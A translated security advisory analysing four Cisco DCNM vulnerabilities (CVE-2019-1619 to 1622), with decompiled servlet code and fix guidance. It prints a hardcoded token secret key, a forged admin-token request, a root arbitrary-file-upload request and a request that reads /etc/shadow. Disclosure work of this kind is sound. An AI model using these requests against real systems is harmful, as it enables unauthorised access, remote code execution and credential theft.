*本文中涉及到的相关漏洞已报送厂商并得到修复,本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担。
Cisco Data Center Network Manager(DCNM)是由Cisco提供的虚拟设备、Windows和Red Hat Linux的安装包。为了在全球范围内管理思科设备,DCNM部署在全球分布的数据中心。
DCNM 11.1(1)及以下受4个漏洞影响:绕过身份验证、任意文件上传(导致远程代码执行)、任意文件下载和通过日志下载敏感信息。
下表列出了每个漏洞的受影响版本:
身份验证绕过存在于10.4(2)版本,允许攻击者利用文件上传进行远程代码执行。
在11.0(1)版本中引入了身份验证,漏洞利用需要一个有效的非特权帐户。但是,在11.1(1)版中,Cisco删除了文件上传和文件下载servlet的身份验证,允许攻击者在没有任何身份验证的情况下利用漏洞!11.2(1)中修复了所有漏洞,敏感信息下载漏洞除外,其状态未知。
为了实现任意文件上传漏洞并进行远程代码执行,攻击者可以在Tomcat webapps文件夹中写入一个war文件。Apache Tomcat服务器运行为root,因此Java shell将以root身份运行。
“Cisco®Data Center Network Manager(DCNM)是针对所有NX-OS网络部署的综合管理解决方案,涵盖由Cisco数据中心中的LAN结构、SAN结构和IP结构(IPFM)网络。DCNM 11提供跨Cisco Nexus®和Cisco多层分布式交换(MDS)解决方案包括管理、控制、自动化、监控、可视化和故障排除。
DCNM 11支持Cisco Nexus交换机的多机多机基础设施管理。DCNM还支持使用Cisco MDS 9000系列和Cisco Nexus交换机存储功能进行存储管理。
DCNM 11为结构引导、SAN分区、设备别名管理、漏洞分析、SAN主机路径冗余和端口监控配置提供了接口。”
Vulnerability: Authentication Bypass
CVE-2019-1619
Attack Vector: Remote
Constraints: None
Affected products / versions:
Cisco Data Center Network Manager 10.4(2) 及以下
DCNM在url/fm/pmreport中的“reportservlet”。滥用此servlet导致未经身份验证的攻击者可以在Web界面上获取有效的管理会话。
下面的代码片段显示了servlet的功能:
com.cisco.dcbu.web.client.performance.ReportServlet
public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
Credentials cred = (Credentials)request.getSession().getAttribute("credentials");
if((cred == null || !cred.isAuthenticated()) && !"fetch".equals(request.getParameter("command")) && !this.verifyToken(request)) {
request.setAttribute("popUpSessionTO", "true");
}
this.doInteractiveChart(request, response);
}
请求交给verifyToken函数进行下一步处理:
private boolean verifyToken(HttpServletRequest httpServletRequest) {
String token = httpServletRequest.getParameter("token");
if(token == null) {
return false;
} else {
try {
FMServerRif serverRif = SQLLoader.getServerManager();
IscRif isc = serverRif.getIsc(StringEncrypter.encryptString("DESede", (new Date()).toString()));
token = URLDecoder.decode(token, "UTF-8");
token = token.replace(' ', '+');
FMUserBase fmUserBase = isc.verifySSoToken(token);
if(fmUserBase == null) {
return false;
} else {
Credentials newCred = new Credentials();
int idx = fmUserBase.getUsername().indexOf(64);
newCred.setUserName(idx == -1?fmUserBase.getUsername():fmUserBase.getUsername().substring(0, idx));
newCred.setPassword(StringEncrypter.DESedeDecrypt(fmUserBase.getEncryptedPassword()));
newCred.setRole(fmUserBase.getRole());
newCred.setAuthenticated(true);
httpServletRequest.getSession().setAttribute("credentials", newCred);
return true;
}
} catch (Exception var8) {
var8.printStackTrace();
return false;
}
}
}
fmUserBase fmUserBase=isc.verifyssotoken(令牌);
HTTP请求参数“token”被传递给iscrif.verifyssotoken,如果该函数返回有效的用户,则请求经过身份验证,凭证存储在会话中。
让我们继续了解iscrif.verifyssotoken中如何进行处理
public FMUserBase verifySSoToken(String ssoToken) {
return SecurityManager.verifySSoToken(ssoToken);
}
public static FMUserBase verifySSoToken(String ssoToken) {
String userName = null;
FMUserBase fmUserBase = null;
FMUser fmUser = null;
try {
userName = getSSoTokenUserName(ssoToken);
if(confirmSSOToken(ssoToken)) {
fmUser = UserManager.getInstance().findUser(userName);
if(fmUser != null) {
fmUserBase = new FMUserBase(userName, fmUser.getHashedPwd(), fmUser.getRoles());
}
if(fmUserBase == null) {
fmUserBase = DCNMUserImpl.getFMUserBase(userName);
}
if(fmUserBase == null) {
fmUserBase = FMSessionManager.getInstance().getFMUser(getSessionIdByToken(ssoToken));
}
}
} catch (Exception var5) {
_Logger.info("verifySSoToken: ", var5);
}
return fmUserBase;
}
从上面的代码中可以看到,用户名是从这里获得令牌
userName = getSSoTokenUserName(ssoToken);
继续进行代码分析:
public static String getSSoTokenUserName(String ssoToken) {
return getSSoTokenDetails(ssoToken)[3];
}
private static String[] getSSoTokenDetails(String ssoToken) {
String[] ret = new String[4];
String separator = getTokenSeparator();
StringTokenizer st = new StringTokenizer(ssoToken, separator);
if(st.hasMoreTokens()) {
ret[0] = st.nextToken();
ret[1] = st.nextToken();
ret[2] = st.nextToken();
for(ret[3] = st.nextToken(); st.hasMoreTokens(); ret[3] = ret[3] + separator + st.nextToken()) {
;
}
}
return ret;
}
令牌是一个字符串,由分隔符分隔,包含四个部分,其中第四部分是用户名。
现在回到上面列出的securityManager.verifyssotoken,我们看到在调用getssotokenusername之后,调用confirmssotoken:
public static FMUserBase verifySSoToken(String ssoToken) {
(...)
userName = getSSoTokenUserName(ssoToken);
if(confirmSSOToken(ssoToken)) {
fmUser = UserManager.getInstance().findUser(userName);
if(fmUser != null) {
fmUserBase = new FMUserBase(userName, fmUser.getHashedPwd(), fmUser.getRoles());
}
(...)
}
public static boolean confirmSSOToken(String ssoToken) {
String userName = null;
int sessionId = false;
long sysTime = 0L;
String digest = null;
int count = false;
boolean ret = false;
try {
String[] detail = getSSoTokenDetails(ssoToken);
userName = detail[3];
int sessionId = Integer.parseInt(detail[0]);
sysTime = (new Long(detail[1])).longValue();
if(System.currentTimeMillis() - sysTime > 600000L) {
return ret;
}
digest = detail[2];
if(digest != null && digest.equals(getMessageDigest("MD5", userName, sessionId, sysTime))) {
ret = true;
userNameTLC.set(userName);
}
} catch (Exception var9) {
_Logger.info("confirmSSoToken: ", var9);
}
return ret;
}
现在我们可以进一步理解令牌组成。它由以下部分组成:
sessionid+separator+systime+separator+digest+separator+username
什么是digest(指纹信息)?让我们看看getMessageDigest函数:
private static String getMessageDigest(String algorithm, String userName, int sessionid, long sysTime) throws Exception {
String input = userName + sessionid + sysTime + SECRETKEY;
MessageDigest md = MessageDigest.getInstance(algorithm);
md.update(input.getBytes());
return new String(Base64.encodeBase64((byte[])md.digest()));
}
该指纹信息是MD5值,由以下几个部分组成,中间有’.'符号分隔
userName + sessionid + sysTime + SECRETKEY
SECRETKEY是一串硬编码字符串:”POsVwv6VBInSOtYQd9r2pFRsSe1cEeVFQuTvDfN7nJ55Qw8fMm5ZGvjmIr87GEF”;
总的来说,只要reportservlet接收到以下格式的令牌,它就会对任何请求进行身份验证:
sessionId.sysTime.MD5(userName + sessionid + sysTime + SECRETKEY).username
sessionid可以由用户输入构造,系统时间可以通过获取HTTP头部服务器日期转换为毫秒获得,我们知道secretkey和用户名,所以现在我们可以作为任何用户进行身份验证。以下是一个示例:
GET /fm/pmreport?token=1337.1535935659000.upjVgZQmxNNgaXo5Ga6jvQ==.admin
由于缺少servlet执行所需的参数,此请求将返回500个错误,但是它也将成功地向服务器验证我们的身份,并返回一个jsessionid cookie,并为管理用户提供有效会话。
请注意,用户必须是有效的。“admin”用户是一个很好的选择,因为它默认存在于所有系统中,也是系统中特权用户。
该漏洞利用不适用于11.0(1),但并不是因为漏洞被修复了,因为更新版本中存在完全相同的代码。
在11.0(1)中,reportservlet.verifytoken函数崩溃,出现异常:
private boolean verifyToken(HttpServletRequest httpServletRequest) {
(...)
Credentials newCred = new Credentials();
int idx = fmUserBase.getUsername().indexOf(64);
newCred.setUserName(idx == -1?fmUserBase.getUsername():fmUserBase.getUsername().substring(0, idx));
newCred.setPassword(StringEncrypter.DESedeDecrypt(fmUserBase.getEncryptedPassword())); <--- exception occurs here
newCred.setRole(fmUserBase.getRole());
newCred.setAuthenticated(true);
httpServletRequest.getSession().setAttribute("credentials", newCred);
return true;
}
} catch (Exception var8) {
var8.printStackTrace();
return false;
}
(...)
}
返回的异常为“com.cisco.dcbu.lib.util.StringEncrypter$EncryptionException:javax.crypto.badpaddingException:given final block not properly padded”。
这将导致执行进入上面所示的catch块,函数将返回false,因此服务器返回的JSessionID cookie中不会存储凭证。
这应该是一个编码错误,思科更新了他们的密码加密方法,但未能更新他们自己的代码。除非不使用此reportservlet代码,否则这是一个偶然修复安全漏洞。
在11.0(1)版上,已经从war xml映射文件中删除了reportservlet,因此请求该URL现在返回一个HTTP404错误。
Vulnerability: Arbitrary File Upload (leading to remote code execution)
CVE-2019-1620
Attack Vector: Remote
Constraints: Authentication to the web interface as an unprivileged user required EXCEPT for version 11.1(1), where it can be exploited by an unauthenticated user
Affected products / versions:Cisco Data Center Network Manager 11.1(1) 及以下
漏洞存在于DCNM在/fm/file upload中的文件上载servlet(fileuploadservlet)。经过身份验证的用户可以利用此servlet将文件上载到任意目录,最终实现远程代码执行。
此servlet的代码如下所示:
com.cisco.dcbu.web.client.reports.FileUploadServlet
public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
this.doGet(request, response);
}
public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
Credentials cred = (Credentials)((Object)request.getSession().getAttribute("credentials"));
if (cred == null || !cred.isAuthenticated()) {
throw new ServletException("User not logged in or Session timed out.");
}
this.handleUpload(request, response);
}
上面显示的代码很简单,请求被传递到handleupload:
private void handleUpload(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
response.setContentType(CONTENT_TYPE);
PrintWriter out = null;
ArrayList<String> allowedFormats = new ArrayList<String>();
allowedFormats.add("jpeg");
allowedFormats.add("png");
allowedFormats.add("gif");
allowedFormats.add("jpg");
allowedFormats.add("cert");
File disk = null;
FileItem item = null;
DiskFileItemFactory factory = new DiskFileItemFactory();
String statusMessage = "";
String fname = "";
String uploadDir = "";
ListIterator iterator = null;
List items = null;
ServletFileUpload upload = new ServletFileUpload((FileItemFactory)factory);
TransformerHandler hd = null;
try {
out = response.getWriter();
StreamResult streamResult = new StreamResult(out);
SAXTransformerFactory tf = (SAXTransformerFactory)SAXTransformerFactory.newInstance();
items = upload.parseRequest(request);
iterator = items.listIterator();
hd = tf.newTransformerHandler();
Transformer serializer = hd.getTransformer();
serializer.setOutputProperty("encoding", "UTF-8");
serializer.setOutputProperty("doctype-system", "response.dtd");
serializer.setOutputProperty("indent", "yes");
serializer.setOutputProperty("method", "xml");
hd.setResult(streamResult);
hd.startDocument();
AttributesImpl atts = new AttributesImpl();
hd.startElement("", "", "response", atts);
while (iterator.hasNext()) {
atts.clear();
item = (FileItem)iterator.next();
if (item.isFormField()) {
if (item.getFieldName().equalsIgnoreCase("fname")) {
fname = item.getString();
}
if (item.getFieldName().equalsIgnoreCase("uploadDir") && (uploadDir = item.getString()).equals(DEFAULT_TRUST_STORE_UPLOADDIR)) {
uploadDir = ClientCache.getJBossHome() + File.separator + "server" + File.separator + "fm" + File.separator + "conf";
}
atts.addAttribute("", "", "id", "CDATA", item.getFieldName());
hd.startElement("", "", "field", atts);
hd.characters(item.getString().toCharArray(), 0, item.getString().length());
hd.endElement("", "", "field");
atts.clear();
continue;
}
ImageInputStream imageInputStream = ImageIO.createImageInputStream(item.getInputStream());
Iterator<ImageReader> imageReaders = ImageIO.getImageReaders(imageInputStream);
ImageReader imageReader = null;
if (imageReaders.hasNext()) {
imageReader = imageReaders.next();
}
try {
String imageFormat = imageReader.getFormatName();
String newFileName = fname + "." + imageFormat;
if (allowedFormats.contains(imageFormat.toLowerCase())) {
FileFilter fileFilter = new FileFilter();
fileFilter.setImageTypes(allowedFormats);
File[] fileList = new File(uploadDir).listFiles(fileFilter);
for (int i = 0; i < fileList.length; ++i) {
new File(fileList[i].getAbsolutePath()).delete();
}
disk = new File(uploadDir + File.separator + fname);
item.write(disk);
Calendar calendar = Calendar.getInstance();
SimpleDateFormat simpleDateFormat = new SimpleDateFormat("MM.dd.yy hh:mm:ss aaa");
statusMessage = "File successfully written to server at " + simpleDateFormat.format(calendar.getTime());
}
imageReader.dispose();
imageInputStream.close();
atts.addAttribute("", "", "id", "CDATA", newFileName);
}
catch (Exception ex) {
this.processUploadedFile(item, uploadDir, fname);
Calendar calendar = Calendar.getInstance();
SimpleDateFormat simpleDateFormat = new SimpleDateFormat("MM.dd.yy hh:mm:ss aaa");
statusMessage = "File successfully written to server at " + simpleDateFormat.format(calendar.getTime());
atts.addAttribute("", "", "id", "CDATA", fname);
}
hd.startElement("", "", "file", atts);
hd.characters(statusMessage.toCharArray(), 0, statusMessage.length());
hd.endElement("", "", "file");
}
hd.endElement("", "", "response");
hd.endDocument();
out.close();
}
catch (Exception e) {
out.println(e.getMessage());
}
}
handleupload更复杂,函数采用一个带有参数“uploaddir”、参数“fname”的HTTP表单,然后取最后一个表单对象并将其写入“uploaddir/fname”。
函数中有一个验证:该文件必须是有效的映像,并且具有下列扩展名之一:
allowedFormats.add("jpeg");
allowedFormats.add("png");
allowedFormats.add("gif");
allowedFormats.add("jpg");
allowedFormats.add("cert");
但是,如果仔细观察,可以上传任意内容。这是因为在到达第二个(内部)Try-Catch块之前不会发生任何错误。
try {
String imageFormat = imageReader.getFormatName();
...
如果我们发送的二进制内容不是文件,则会导致ImageReader引发异常,并发送到catch:
catch (Exception ex) {
this.processUploadedFile(item, uploadDir, fname);
Calendar calendar = Calendar.getInstance();
SimpleDateFormat simpleDateFormat = new SimpleDateFormat("MM.dd.yy hh:mm:ss aaa");
statusMessage = "File successfully written to server at " + simpleDateFormat.format(calendar.getTime());
atts.addAttribute("", "", "id", "CDATA", fname);
...
这意味着文件内容、upload dir及其名称将被发送到processuploadedfile。
private void processUploadedFile(FileItem item, String uploadDir, String fname) throws Exception {
try {
int offset;
int contentLength = (int)item.getSize();
InputStream raw = item.getInputStream();
BufferedInputStream in = new BufferedInputStream(raw);
byte[] data = new byte[contentLength];
int bytesRead = 0;
for (offset = 0; offset < contentLength && (bytesRead = in.read(data, offset, data.length - offset)) != -1; offset += bytesRead) {
}
in.close();
if (offset != contentLength) {
throw new IOException("Only read " + offset + " bytes; Expected " + contentLength + " bytes");
}
FileOutputStream out = new FileOutputStream(uploadDir + File.separator + fname);
out.write(data);
out.flush();
out.close();
}
catch (Exception ex) {
throw new Exception("FileUploadSevlet processUploadFile failed: " + ex.getMessage());
}
}
这个函数完全忽略了内容,并简单地将文件内容写入到我们指定的文件名和文件夹中。
总之,如果我们发送任何不是文件的二进制内容,我们可以以root权限将其写入任何目录中的任何文件。
发送如下请求:
POST /fm/fileUpload HTTP/1.1
Host: 10.75.1.40
Cookie: JSESSIONID=PcW4XFtcG6fkMUg7FpkZYJ5C;
Content-Length: 429
Content-Type: multipart/form-data; boundary=---------------------------9313517619947
-----------------------------9313517619947
Content-Disposition: form-data; name="fname"
owned
-----------------------------9313517619947
Content-Disposition: form-data; name="uploadDir"
/tmp/
-----------------------------9313517619947
Content-Disposition: form-data; name="filePath"; filename="whatever"
Content-Type: application/octet-stream
<any text or binary content here>
-----------------------------9313517619947--
The server will respond with:
HTTP/1.1 200 OK
X-FRAME-OPTIONS: SAMEORIGIN
Content-Type: text/xml;charset=utf-8
Date: Mon, 03 Sep 2018 00:57:11 GMT
Connection: close
Server: server
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE response SYSTEM "response.dtd">
<response>
<field id="fname">owned</field>
<field id="uploadDir">/tmp/</field>
<file id="whatever">File successfully written to server at 09.02.18 05:57:11 PM</file>
</response>
我们的文件已写入服务器:
[root@dcnm_vm ~]# ls -l /tmp/
(...)
-rw-r--r-- 1 root root 16 Sep 2 17:57 owned
(...)
最后,如果我们将一个war文件写入jboss部署目录,服务器将把war文件部署为根目录,允许攻击者实现远程代码执行。
利用此漏洞的metasploit模块已随本公告发布。
Vulnerability: Arbitrary File Download
CVE-2019-1621
Attack Vector: Remote
Constraints: 非特权用户在未经身份认证的用户可在web界面进行任意文件下载
Affected products / versions:Cisco Data Center Network Manager 11.1(1) 及以下
漏洞存在于DCNM /fm/downloadservlet。经过身份验证的用户可以用此servlet以root权限下载任意文件。
下面的代码显示servlet请求处理代码:
public void service(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
Credentials cred = (Credentials)((Object)request.getSession().getAttribute("credentials"));
if (cred == null || !cred.isAuthenticated()) {
throw new ServletException("User not logged in or Session timed out.");
}
String showFile = (String)request.getAttribute("showFile");
if (showFile == null) {
showFile = request.getParameter("showFile");
}
File f = new File(showFile);
if (showFile.endsWith(".cert")) {
response.setContentType("application/octet-stream");
response.setHeader("Pragma", "cache");
response.setHeader("Cache-Control", "cache");
response.setHeader("Content-Disposition", "attachment; filename=fmserver.cert;");
} else if (showFile.endsWith(".msi")) {
response.setContentType("application/x-msi");
response.setHeader("Pragma", "cache");
response.setHeader("Cache-Control", "cache");
response.setHeader("Content-Disposition", "attachment; filename=" + f.getName() + ";");
} else if (showFile.endsWith(".xls")) {
response.setContentType("application/vnd.ms-excel");
response.setHeader("Pragma", "cache");
response.setHeader("Cache-Control", "cache");
response.setHeader("Content-Disposition", "attachment; filename=" + f.getName() + ";");
}
ServletOutputStream os = response.getOutputStream();
FileInputStream is = new FileInputStream(f);
byte[] buffer = new byte[4096];
int read = 0;
try {
while ((read = is.read(buffer)) > 0) {
os.write(buffer, 0, read);
}
os.flush();
}
catch (Exception e) {
LogService.log(LogService._WARNING, e.getMessage());
}
finally {
is.close();
}
}
}
它接受一个“showfile”请求参数,读取该文件并返回给用户。下面是servlet的一个示例:
Request:
GET /fm/downloadServlet?showFile=/etc/shadow HTTP/1.1
Host: 10.75.1.40
Cookie: JSESSIONID=PcW4XFtcG6fkMUg7FpkZYJ5C;
Response:
HTTP/1.1 200 OK
root:$1$(REDACTED).:17763:0:99999:7:::
bin:*:15980:0:99999:7:::
daemon:*:15980:0:99999:7:::
adm:*:15980:0:99999:7:::
lp:*:15980:0:99999:7:::
(...)
要下载的文件是/usr/local/cisco/dcm/fm/conf/server.properties,它包含数据库凭据和sftp根密码,这两个文件都用源代码中硬编码的密钥加密。
Vulnerability: Information Disclosure (log files download)
CVE-2019-1622
Attack Vector: Remote
Constraints: None
Affected products / versions:
Cisco Data Center Network Manager 11.1(1) and below
漏洞存在与DCNM /fm/log/fmlogs.zip logzipperservlet。未经身份验证的攻击者可以访问此servlet,它将以zip格式返回/usr/local/cisco/dcm/fm/logs/*中的所有日志文件,这些文件提供有关本地目录、软件版本、身份验证错误、详细的堆栈跟踪等信息。
实现示例:GET /fm/log/fmlogs.zip
漏洞1升级到DCNM 11.0(1)及以上;漏洞2、3升级到DCNM 11.2(1)及以上;漏洞4还未修补。
[1] https://www.accenture.com/us-en/service-idefense-security-intelligence
[3] https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-bypass
[4] https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-codex
*参考来源:agileinfosec,Kriston编译整理,转载请注明来自 FreeBuf.COM